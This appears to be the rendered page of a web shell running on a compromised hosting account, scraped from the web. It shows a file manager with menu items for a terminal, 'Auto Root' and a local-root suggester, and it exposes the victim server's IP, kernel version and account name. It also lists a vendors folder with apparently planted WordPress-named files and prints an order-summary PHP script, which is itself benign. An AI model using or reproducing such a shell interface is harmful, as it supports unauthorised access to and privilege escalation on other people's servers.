Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
vendors /
Delete
Unzip
Name
Size
Permission
Date
Action
bootstrap-datepicker
[ DIR ]
drwxr-xr-x
2025-09-12 22:18
bootstrap-maxlength
[ DIR ]
drwxr-xr-x
2025-09-12 18:18
insert
[ DIR ]
drwxr-xr-x
2025-09-12 20:54
api_three.txt
2
B
-rw-r--r--
2025-08-20 19:12
balance_add_remove.php
2.83
KB
-rw-r--r--
2024-10-26 14:38
db.php
341
B
-rw-r--r--
2024-12-04 06:50
get_work_summary.php
1.05
KB
-rw-r--r--
2024-11-14 17:28
index.php
7.03
KB
-rw-r--r--
2025-09-10 08:54
recharge.txt
3
B
-rw-r--r--
2025-08-20 19:12
smartRate.txt
0
B
-rw-r--r--
2025-09-12 22:21
smartTokenName.txt
0
B
-rw-r--r--
2025-09-12 19:32
update_marquee.php
4.88
KB
-rw-r--r--
2024-10-27 17:24
wp-blog-header.php
2.73
KB
-rw-r--r--
2025-09-01 07:25
wp-cron.php
2.73
KB
-rw-r--r--
2025-09-01 07:25
Save
Rename
<?php include 'includes/configuration.php'; session_start(); $user = base64_decode($_SESSION["user_id"]); // Get the number of days from the request, defaulting to 1 (today) $days = isset($_GET['days']) && $_GET['days'] !== 'all' ? (int)$_GET['days'] : 'all'; if ($days === 'all') { // Query to get all records $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work"; } else { // Query to get records within the last specified days $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work WHERE order_time >= DATE_SUB(CURDATE(), INTERVAL ? DAY)"; } $stmt = $conn->prepare($sql); if ($days !== 'all') { $stmt->bind_param("i", $days); } $stmt->execute(); $result = $stmt->get_result(); $summary = $result->fetch_assoc(); // Default values if no results $totalOrders = $summary['totalOrders'] ?? 0; $totalPrice = $summary['totalPrice'] ?? 0; header('Content-Type: application/json'); echo json_encode(['totalOrders' => $totalOrders, 'totalPrice' => $totalPrice]); ?>